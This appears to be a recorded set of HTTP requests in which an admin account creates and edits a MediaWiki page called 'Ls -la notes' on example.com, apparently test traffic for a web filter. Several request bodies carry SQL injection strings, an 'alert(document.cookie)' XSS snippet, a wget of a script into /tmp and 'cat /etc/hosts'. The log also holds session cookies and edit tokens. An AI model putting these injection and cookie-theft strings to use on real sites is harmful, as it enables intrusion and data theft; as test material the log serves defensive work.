{"method": "POST", "target": "/index.php?title=Ls_-la_notes&action=submit", "headers": ["Host: example.com", "Content-Length: 3217", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryAvdrTidZqfABYUKj", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/index.php?title=Ls_-la_notes&action=edit", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=8%401794254459%23153252fac0b4fff55405e90957449430"], "body": "------WebKitFormBoundaryAvdrTidZqfABYUKj\r\nContent-Disposition: form-data; name=\"wpUnicodeCheck\"\r\n\r\n\u2133\ud835\udcb2\u2665\ud835\udcca\ud835\udcc3\ud835\udcbe\ud835\udcb8\u2134\ud835\udcb9\u212f\r\n------WebKitFormBoundaryAvdrTidZqfABYUKj\r\nContent-Disposition: form-data; name=\"wpAntispam\"\r\n\r\n\r\n------WebKitFormBoundaryAvdrTidZqfABYUKj\r\nContent-Disposition: form-data; name=\"wpSection\"\r\n\r\n\r\n------WebKitFormBoundaryAvdrTidZqfABYUKj\r\nContent-Disposition: form-data; name=\"wpStarttime\"\r\n\r\n20261109200101\r\n------WebKitFormBoundaryAvdrTidZqfABYUKj\r\nContent-Disposition: form-data; name=\"wpEdittime\"\r\n\r\n20261109200101\r\n------WebKitFormBoundaryAvdrTidZqfABYUKj\r\nContent-Disposition: form-data; name=\"editRevId\"\r\n\r\n0\r\n------WebKitFormBoundaryAvdrTidZqfABYUKj\r\nContent-Disposition: form-data; name=\"wpScrolltop\"\r\n\r\n304\r\n------WebKitFormBoundaryAvdrTidZqfABYUKj\r\nContent-Disposition: form-data; name=\"wpAutoSummary\"\r\n\r\nd41d8cd98f00b204e9800998ecf8427e\r\n------WebKitFormBoundaryAvdrTidZqfABYUKj\r\nContent-Disposition: form-data; name=\"oldid\"\r\n\r\n0\r\n------WebKitFormBoundaryAvdrTidZqfABYUKj\r\nContent-Disposition: form-data; name=\"parentRevId\"\r\n\r\n0\r\n------WebKitFormBoundaryAvdrTidZqfABYUKj\r\nContent-Disposition: form-data; name=\"format\"\r\n\r\ntext/x-wiki\r\n------WebKitFormBoundaryAvdrTidZqfABYUKj\r\nContent-Disposition: form-data; name=\"model\"\r\n\r\nwikitext\r\n------WebKitFormBoundaryAvdrTidZqfABYUKj\r\nContent-Disposition: form-data; name=\"wpTextbox1\"\r\n\r\n{{Infobox\r\n| name = Example\r\n| image = Pic python3.png\r\n}}\r\n'''Example''' is a page about [[Main Page|the wiki]] and [https://example.com/docs the docs].\r\n\r\n== Install ==\r\nRun these, with python3 and powershell:\r\n<pre>\r\n#!/bin/sh\r\ncd /var/www && ls -la\r\npython3 -m venv .venv && . .venv/bin/activate\r\nwget http://example.com/setup.sh -O /tmp/setup.sh\r\ncat /etc/hosts\r\n</pre>\r\n<syntaxhighlight lang=\"sql\">\r\nSELECT name FROM users WHERE id = 1 OR 1=1;\r\nUNION SELECT password FROM accounts;\r\n</syntaxhighlight>\r\n<syntaxhighlight lang=\"javascript\">\r\ndocument.getElementById(\"x\").innerHTML = \"<b>\" + window.location + \"</b>\";\r\nalert(document.cookie);\r\n</syntaxhighlight>\r\nThe file .htaccess in the site root sets <code>RewriteRule ^(.*)$ index.php?title=$1</code>.\r\n\r\n{| class=\"wikitable sortable\"\r\n|-\r\n! Command !! Does\r\n|-\r\n| <code>ls -la</code> || lists files\r\n|-\r\n| <code>powershell -Command Get-Item</code> || shows an item\r\n|-\r\n| <code>python3 manage.py</code> || runs a script\r\n|}\r\n\r\n<gallery>\r\nFile:Pic python3.png|A picture\r\n</gallery>\r\n<ref>A note citing https://example.com/</ref>\r\n[[Category:Examples]]\r\n\r\n------WebKitFormBoundaryAvdrTidZqfABYUKj\r\nContent-Disposition: form-data; name=\"wpSummary\"\r\n\r\nNotes on ls -la, python3, ls -la and .htaccess\r\n------WebKitFormBoundaryAvdrTidZqfABYUKj\r\nContent-Disposition: form-data; name=\"wpWatchthis\"\r\n\r\n\r\n------WebKitFormBoundaryAvdrTidZqfABYUKj\r\nContent-Disposition: form-data; name=\"wpPreview\"\r\n\r\nShow preview\r\n------WebKitFormBoundaryAvdrTidZqfABYUKj\r\nContent-Disposition: form-data; name=\"wpEditToken\"\r\n\r\n71840703f816e931d4dcc6d77061a3d66af2267d+\\\r\n------WebKitFormBoundaryAvdrTidZqfABYUKj\r\nContent-Disposition: form-data; name=\"mode\"\r\n\r\ntext\r\n------WebKitFormBoundaryAvdrTidZqfABYUKj\r\nContent-Disposition: form-data; name=\"wpUltimateParam\"\r\n\r\n1\r\n------WebKitFormBoundaryAvdrTidZqfABYUKj--\r\n"}
{"method": "POST", "target": "/api.php?action=stashedit", "headers": ["Host: example.com", "Content-Length: 1720", "Api-User-Agent: MediaWiki-JS/1.46.2", "X-Requested-With: XMLHttpRequest", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: application/json, text/javascript, */*; q=0.01", "Content-Type: application/x-www-form-urlencoded; charset=UTF-8", "Origin: http://example.com", "Referer: http://example.com/index.php?title=Ls_-la_notes&action=submit", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=8%401794254459%23153252fac0b4fff55405e90957449430"], "body": "action=stashedit&format=json&formatversion=2&title=Ls_-la_notes&section=&sectiontitle=&summary=Notes+on+ls+-la%2C+python3%2C+ls+-la+and+.htaccess&contentmodel=wikitext&contentformat=text%2Fx-wiki&baserevid=0&text=%7B%7BInfobox%0A%7C+name+%3D+Example%0A%7C+image+%3D+Pic+python3.png%0A%7D%7D%0A'''Example'''+is+a+page+about+%5B%5BMain+Page%7Cthe+wiki%5D%5D+and+%5Bhttps%3A%2F%2Fexample.com%2Fdocs+the+docs%5D.%0A%0A%3D%3D+Install+%3D%3D%0ARun+these%2C+with+python3+and+powershell%3A%0A%3Cpre%3E%0A%23!%2Fbin%2Fsh%0Acd+%2Fvar%2Fwww+%26%26+ls+-la%0Apython3+-m+venv+.venv+%26%26+.+.venv%2Fbin%2Factivate%0Awget+http%3A%2F%2Fexample.com%2Fsetup.sh+-O+%2Ftmp%2Fsetup.sh%0Acat+%2Fetc%2Fhosts%0A%3C%2Fpre%3E%0A%3Csyntaxhighlight+lang%3D%22sql%22%3E%0ASELECT+name+FROM+users+WHERE+id+%3D+1+OR+1%3D1%3B%0AUNION+SELECT+password+FROM+accounts%3B%0A%3C%2Fsyntaxhighlight%3E%0A%3Csyntaxhighlight+lang%3D%22javascript%22%3E%0Adocument.getElementById(%22x%22).innerHTML+%3D+%22%3Cb%3E%22+%2B+window.location+%2B+%22%3C%2Fb%3E%22%3B%0Aalert(document.cookie)%3B%0A%3C%2Fsyntaxhighlight%3E%0AThe+file+.htaccess+in+the+site+root+sets+%3Ccode%3ERewriteRule+%5E(.*)%24+index.php%3Ftitle%3D%241%3C%2Fcode%3E.%0A%0A%7B%7C+class%3D%22wikitable+sortable%22%0A%7C-%0A!+Command+!!+Does%0A%7C-%0A%7C+%3Ccode%3Els+-la%3C%2Fcode%3E+%7C%7C+lists+files%0A%7C-%0A%7C+%3Ccode%3Epowershell+-Command+Get-Item%3C%2Fcode%3E+%7C%7C+shows+an+item%0A%7C-%0A%7C+%3Ccode%3Epython3+manage.py%3C%2Fcode%3E+%7C%7C+runs+a+script%0A%7C%7D%0A%0A%3Cgallery%3E%0AFile%3APic+python3.png%7CA+picture%0A%3C%2Fgallery%3E%0A%3Cref%3EA+note+citing+https%3A%2F%2Fexample.com%2F%3C%2Fref%3E%0A%5B%5BCategory%3AExamples%5D%5D%0A&token=71840703f816e931d4dcc6d77061a3d66af2267d%2B%5C"}
{"method": "POST", "target": "/index.php?title=Ls_-la_notes&action=submit", "headers": ["Host: example.com", "Content-Length: 3325", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryhJslavTCvR7BPWnI", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/index.php?title=Ls_-la_notes&action=submit", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=8%401794254459%23153252fac0b4fff55405e90957449430"], "body": "------WebKitFormBoundaryhJslavTCvR7BPWnI\r\nContent-Disposition: form-data; name=\"wpUnicodeCheck\"\r\n\r\n\u2133\ud835\udcb2\u2665\ud835\udcca\ud835\udcc3\ud835\udcbe\ud835\udcb8\u2134\ud835\udcb9\u212f\r\n------WebKitFormBoundaryhJslavTCvR7BPWnI\r\nContent-Disposition: form-data; name=\"wpAntispam\"\r\n\r\n\r\n------WebKitFormBoundaryhJslavTCvR7BPWnI\r\nContent-Disposition: form-data; name=\"wpSection\"\r\n\r\n\r\n------WebKitFormBoundaryhJslavTCvR7BPWnI\r\nContent-Disposition: form-data; name=\"wpStarttime\"\r\n\r\n20261109200101\r\n------WebKitFormBoundaryhJslavTCvR7BPWnI\r\nContent-Disposition: form-data; name=\"wpEdittime\"\r\n\r\n20261109200101\r\n------WebKitFormBoundaryhJslavTCvR7BPWnI\r\nContent-Disposition: form-data; name=\"editRevId\"\r\n\r\n0\r\n------WebKitFormBoundaryhJslavTCvR7BPWnI\r\nContent-Disposition: form-data; name=\"wpScrolltop\"\r\n\r\n304\r\n------WebKitFormBoundaryhJslavTCvR7BPWnI\r\nContent-Disposition: form-data; name=\"wpIgnoreBlankSummary\"\r\n\r\n1\r\n------WebKitFormBoundaryhJslavTCvR7BPWnI\r\nContent-Disposition: form-data; name=\"wpAutoSummary\"\r\n\r\nd41d8cd98f00b204e9800998ecf8427e\r\n------WebKitFormBoundaryhJslavTCvR7BPWnI\r\nContent-Disposition: form-data; name=\"oldid\"\r\n\r\n0\r\n------WebKitFormBoundaryhJslavTCvR7BPWnI\r\nContent-Disposition: form-data; name=\"parentRevId\"\r\n\r\n0\r\n------WebKitFormBoundaryhJslavTCvR7BPWnI\r\nContent-Disposition: form-data; name=\"format\"\r\n\r\ntext/x-wiki\r\n------WebKitFormBoundaryhJslavTCvR7BPWnI\r\nContent-Disposition: form-data; name=\"model\"\r\n\r\nwikitext\r\n------WebKitFormBoundaryhJslavTCvR7BPWnI\r\nContent-Disposition: form-data; name=\"wpTextbox1\"\r\n\r\n{{Infobox\r\n| name = Example\r\n| image = Pic python3.png\r\n}}\r\n'''Example''' is a page about [[Main Page|the wiki]] and [https://example.com/docs the docs].\r\n\r\n== Install ==\r\nRun these, with python3 and powershell:\r\n<pre>\r\n#!/bin/sh\r\ncd /var/www && ls -la\r\npython3 -m venv .venv && . .venv/bin/activate\r\nwget http://example.com/setup.sh -O /tmp/setup.sh\r\ncat /etc/hosts\r\n</pre>\r\n<syntaxhighlight lang=\"sql\">\r\nSELECT name FROM users WHERE id = 1 OR 1=1;\r\nUNION SELECT password FROM accounts;\r\n</syntaxhighlight>\r\n<syntaxhighlight lang=\"javascript\">\r\ndocument.getElementById(\"x\").innerHTML = \"<b>\" + window.location + \"</b>\";\r\nalert(document.cookie);\r\n</syntaxhighlight>\r\nThe file .htaccess in the site root sets <code>RewriteRule ^(.*)$ index.php?title=$1</code>.\r\n\r\n{| class=\"wikitable sortable\"\r\n|-\r\n! Command !! Does\r\n|-\r\n| <code>ls -la</code> || lists files\r\n|-\r\n| <code>powershell -Command Get-Item</code> || shows an item\r\n|-\r\n| <code>python3 manage.py</code> || runs a script\r\n|}\r\n\r\n<gallery>\r\nFile:Pic python3.png|A picture\r\n</gallery>\r\n<ref>A note citing https://example.com/</ref>\r\n[[Category:Examples]]\r\n\r\n------WebKitFormBoundaryhJslavTCvR7BPWnI\r\nContent-Disposition: form-data; name=\"wpSummary\"\r\n\r\nNotes on ls -la, python3, ls -la and .htaccess\r\n------WebKitFormBoundaryhJslavTCvR7BPWnI\r\nContent-Disposition: form-data; name=\"wpWatchthis\"\r\n\r\n\r\n------WebKitFormBoundaryhJslavTCvR7BPWnI\r\nContent-Disposition: form-data; name=\"wpDiff\"\r\n\r\nShow changes\r\n------WebKitFormBoundaryhJslavTCvR7BPWnI\r\nContent-Disposition: form-data; name=\"wpEditToken\"\r\n\r\n71840703f816e931d4dcc6d77061a3d66af2267d+\\\r\n------WebKitFormBoundaryhJslavTCvR7BPWnI\r\nContent-Disposition: form-data; name=\"mode\"\r\n\r\npreview\r\n------WebKitFormBoundaryhJslavTCvR7BPWnI\r\nContent-Disposition: form-data; name=\"wpUltimateParam\"\r\n\r\n1\r\n------WebKitFormBoundaryhJslavTCvR7BPWnI--\r\n"}
{"method": "POST", "target": "/index.php?title=Ls_-la_notes&action=submit", "headers": ["Host: example.com", "Content-Length: 3319", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryZQBAD49UylBGXkuE", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/index.php?title=Ls_-la_notes&action=submit", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=8%401794254459%23153252fac0b4fff55405e90957449430"], "body": "------WebKitFormBoundaryZQBAD49UylBGXkuE\r\nContent-Disposition: form-data; name=\"wpUnicodeCheck\"\r\n\r\n\u2133\ud835\udcb2\u2665\ud835\udcca\ud835\udcc3\ud835\udcbe\ud835\udcb8\u2134\ud835\udcb9\u212f\r\n------WebKitFormBoundaryZQBAD49UylBGXkuE\r\nContent-Disposition: form-data; name=\"wpAntispam\"\r\n\r\n\r\n------WebKitFormBoundaryZQBAD49UylBGXkuE\r\nContent-Disposition: form-data; name=\"wpSection\"\r\n\r\n\r\n------WebKitFormBoundaryZQBAD49UylBGXkuE\r\nContent-Disposition: form-data; name=\"wpStarttime\"\r\n\r\n20261109200101\r\n------WebKitFormBoundaryZQBAD49UylBGXkuE\r\nContent-Disposition: form-data; name=\"wpEdittime\"\r\n\r\n20261109200101\r\n------WebKitFormBoundaryZQBAD49UylBGXkuE\r\nContent-Disposition: form-data; name=\"editRevId\"\r\n\r\n0\r\n------WebKitFormBoundaryZQBAD49UylBGXkuE\r\nContent-Disposition: form-data; name=\"wpScrolltop\"\r\n\r\n304\r\n------WebKitFormBoundaryZQBAD49UylBGXkuE\r\nContent-Disposition: form-data; name=\"wpIgnoreBlankSummary\"\r\n\r\n1\r\n------WebKitFormBoundaryZQBAD49UylBGXkuE\r\nContent-Disposition: form-data; name=\"wpAutoSummary\"\r\n\r\nd41d8cd98f00b204e9800998ecf8427e\r\n------WebKitFormBoundaryZQBAD49UylBGXkuE\r\nContent-Disposition: form-data; name=\"oldid\"\r\n\r\n0\r\n------WebKitFormBoundaryZQBAD49UylBGXkuE\r\nContent-Disposition: form-data; name=\"parentRevId\"\r\n\r\n0\r\n------WebKitFormBoundaryZQBAD49UylBGXkuE\r\nContent-Disposition: form-data; name=\"format\"\r\n\r\ntext/x-wiki\r\n------WebKitFormBoundaryZQBAD49UylBGXkuE\r\nContent-Disposition: form-data; name=\"model\"\r\n\r\nwikitext\r\n------WebKitFormBoundaryZQBAD49UylBGXkuE\r\nContent-Disposition: form-data; name=\"wpTextbox1\"\r\n\r\n{{Infobox\r\n| name = Example\r\n| image = Pic python3.png\r\n}}\r\n'''Example''' is a page about [[Main Page|the wiki]] and [https://example.com/docs the docs].\r\n\r\n== Install ==\r\nRun these, with python3 and powershell:\r\n<pre>\r\n#!/bin/sh\r\ncd /var/www && ls -la\r\npython3 -m venv .venv && . .venv/bin/activate\r\nwget http://example.com/setup.sh -O /tmp/setup.sh\r\ncat /etc/hosts\r\n</pre>\r\n<syntaxhighlight lang=\"sql\">\r\nSELECT name FROM users WHERE id = 1 OR 1=1;\r\nUNION SELECT password FROM accounts;\r\n</syntaxhighlight>\r\n<syntaxhighlight lang=\"javascript\">\r\ndocument.getElementById(\"x\").innerHTML = \"<b>\" + window.location + \"</b>\";\r\nalert(document.cookie);\r\n</syntaxhighlight>\r\nThe file .htaccess in the site root sets <code>RewriteRule ^(.*)$ index.php?title=$1</code>.\r\n\r\n{| class=\"wikitable sortable\"\r\n|-\r\n! Command !! Does\r\n|-\r\n| <code>ls -la</code> || lists files\r\n|-\r\n| <code>powershell -Command Get-Item</code> || shows an item\r\n|-\r\n| <code>python3 manage.py</code> || runs a script\r\n|}\r\n\r\n<gallery>\r\nFile:Pic python3.png|A picture\r\n</gallery>\r\n<ref>A note citing https://example.com/</ref>\r\n[[Category:Examples]]\r\n\r\n------WebKitFormBoundaryZQBAD49UylBGXkuE\r\nContent-Disposition: form-data; name=\"wpSummary\"\r\n\r\nNotes on ls -la, python3, ls -la and .htaccess\r\n------WebKitFormBoundaryZQBAD49UylBGXkuE\r\nContent-Disposition: form-data; name=\"wpWatchthis\"\r\n\r\n\r\n------WebKitFormBoundaryZQBAD49UylBGXkuE\r\nContent-Disposition: form-data; name=\"wpSave\"\r\n\r\nSave page\r\n------WebKitFormBoundaryZQBAD49UylBGXkuE\r\nContent-Disposition: form-data; name=\"wpEditToken\"\r\n\r\n71840703f816e931d4dcc6d77061a3d66af2267d+\\\r\n------WebKitFormBoundaryZQBAD49UylBGXkuE\r\nContent-Disposition: form-data; name=\"mode\"\r\n\r\ndiff\r\n------WebKitFormBoundaryZQBAD49UylBGXkuE\r\nContent-Disposition: form-data; name=\"wpUltimateParam\"\r\n\r\n1\r\n------WebKitFormBoundaryZQBAD49UylBGXkuE--\r\n"}
{"method": "GET", "target": "/wiki/Ls_-la_notes", "headers": ["Host: example.com", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/index.php?title=Ls_-la_notes&action=submit", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; my_wikiPostEditRevision10=created; cpPosIndex=9%401794254461%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "GET", "target": "/index.php?title=Ls_-la_notes&action=history", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=9%401794254461%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "GET", "target": "/index.php?title=Ls_-la_notes&action=edit&section=1", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=9%401794254461%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "POST", "target": "/api.php?action=stashedit", "headers": ["Host: example.com", "Content-Length: 285", "Api-User-Agent: MediaWiki-JS/1.46.2", "X-Requested-With: XMLHttpRequest", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: application/json, text/javascript, */*; q=0.01", "Content-Type: application/x-www-form-urlencoded; charset=UTF-8", "Origin: http://example.com", "Referer: http://example.com/index.php?title=Ls_-la_notes&action=edit&section=1", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=9%401794254461%23153252fac0b4fff55405e90957449430"], "body": "action=stashedit&format=json&formatversion=2&title=Ls_-la_notes&section=1&sectiontitle=&summary=%2F*+Install+*%2F+&contentmodel=wikitext&contentformat=text%2Fx-wiki&baserevid=10&text=%3D%3D+Install+%3D%3D%0ARun+ls+-la+and+ls+-la.%0A&token=8fac1bdf706f6473175c200445103a4f6af2267e%2B%5C"}
{"method": "POST", "target": "/api.php?action=stashedit", "headers": ["Host: example.com", "Content-Length: 293", "Api-User-Agent: MediaWiki-JS/1.46.2", "X-Requested-With: XMLHttpRequest", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: application/json, text/javascript, */*; q=0.01", "Content-Type: application/x-www-form-urlencoded; charset=UTF-8", "Origin: http://example.com", "Referer: http://example.com/index.php?title=Ls_-la_notes&action=edit&section=1", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=9%401794254461%23153252fac0b4fff55405e90957449430"], "body": "action=stashedit&format=json&formatversion=2&title=Ls_-la_notes&section=1&sectiontitle=&summary=%2F*+Install+*%2F+ls+-la&contentmodel=wikitext&contentformat=text%2Fx-wiki&baserevid=10&stashedtexthash=f07484bed3f5b98cd35dde3b0bd6cdf21f92e3a9&token=8fac1bdf706f6473175c200445103a4f6af2267e%2B%5C"}
{"method": "POST", "target": "/index.php?title=Ls_-la_notes&action=submit&section=1", "headers": ["Host: example.com", "Content-Length: 2117", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: multipart/form-data; boundary=----WebKitFormBoundary3GpLRJRpxgavKDbi", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/index.php?title=Ls_-la_notes&action=edit&section=1", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=9%401794254461%23153252fac0b4fff55405e90957449430"], "body": "------WebKitFormBoundary3GpLRJRpxgavKDbi\r\nContent-Disposition: form-data; name=\"wpUnicodeCheck\"\r\n\r\n\u2133\ud835\udcb2\u2665\ud835\udcca\ud835\udcc3\ud835\udcbe\ud835\udcb8\u2134\ud835\udcb9\u212f\r\n------WebKitFormBoundary3GpLRJRpxgavKDbi\r\nContent-Disposition: form-data; name=\"wpAntispam\"\r\n\r\n\r\n------WebKitFormBoundary3GpLRJRpxgavKDbi\r\nContent-Disposition: form-data; name=\"wpSection\"\r\n\r\n1\r\n------WebKitFormBoundary3GpLRJRpxgavKDbi\r\nContent-Disposition: form-data; name=\"wpStarttime\"\r\n\r\n20261109200102\r\n------WebKitFormBoundary3GpLRJRpxgavKDbi\r\nContent-Disposition: form-data; name=\"wpEdittime\"\r\n\r\n20261109200101\r\n------WebKitFormBoundary3GpLRJRpxgavKDbi\r\nContent-Disposition: form-data; name=\"editRevId\"\r\n\r\n10\r\n------WebKitFormBoundary3GpLRJRpxgavKDbi\r\nContent-Disposition: form-data; name=\"wpScrolltop\"\r\n\r\n0\r\n------WebKitFormBoundary3GpLRJRpxgavKDbi\r\nContent-Disposition: form-data; name=\"wpAutoSummary\"\r\n\r\n48a19bb4c5ae768038e8343fe587d531\r\n------WebKitFormBoundary3GpLRJRpxgavKDbi\r\nContent-Disposition: form-data; name=\"oldid\"\r\n\r\n0\r\n------WebKitFormBoundary3GpLRJRpxgavKDbi\r\nContent-Disposition: form-data; name=\"parentRevId\"\r\n\r\n10\r\n------WebKitFormBoundary3GpLRJRpxgavKDbi\r\nContent-Disposition: form-data; name=\"format\"\r\n\r\ntext/x-wiki\r\n------WebKitFormBoundary3GpLRJRpxgavKDbi\r\nContent-Disposition: form-data; name=\"model\"\r\n\r\nwikitext\r\n------WebKitFormBoundary3GpLRJRpxgavKDbi\r\nContent-Disposition: form-data; name=\"wpTextbox1\"\r\n\r\n== Install ==\r\nRun ls -la and ls -la.\r\n\r\n------WebKitFormBoundary3GpLRJRpxgavKDbi\r\nContent-Disposition: form-data; name=\"wpSummary\"\r\n\r\n/* Install */ ls -la\r\n------WebKitFormBoundary3GpLRJRpxgavKDbi\r\nContent-Disposition: form-data; name=\"wpWatchthis\"\r\n\r\n\r\n------WebKitFormBoundary3GpLRJRpxgavKDbi\r\nContent-Disposition: form-data; name=\"wpSave\"\r\n\r\nSave changes\r\n------WebKitFormBoundary3GpLRJRpxgavKDbi\r\nContent-Disposition: form-data; name=\"wpEditToken\"\r\n\r\n8fac1bdf706f6473175c200445103a4f6af2267e+\\\r\n------WebKitFormBoundary3GpLRJRpxgavKDbi\r\nContent-Disposition: form-data; name=\"mode\"\r\n\r\ntext\r\n------WebKitFormBoundary3GpLRJRpxgavKDbi\r\nContent-Disposition: form-data; name=\"wpUltimateParam\"\r\n\r\n1\r\n------WebKitFormBoundary3GpLRJRpxgavKDbi--\r\n"}
{"method": "GET", "target": "/index.php?title=Ls_-la_notes&diff=cur&oldid=prev", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=10%401794254462%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "GET", "target": "/index.php?title=Ls_-la_notes&action=info", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=10%401794254462%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "GET", "target": "/index.php?title=Special:WhatLinksHere&target=Ls+-la+notes", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=10%401794254462%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "GET", "target": "/index.php?title=Special:AllPages&from=ls+-la", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=10%401794254462%23153252fac0b4fff55405e90957449430"], "body": ""}
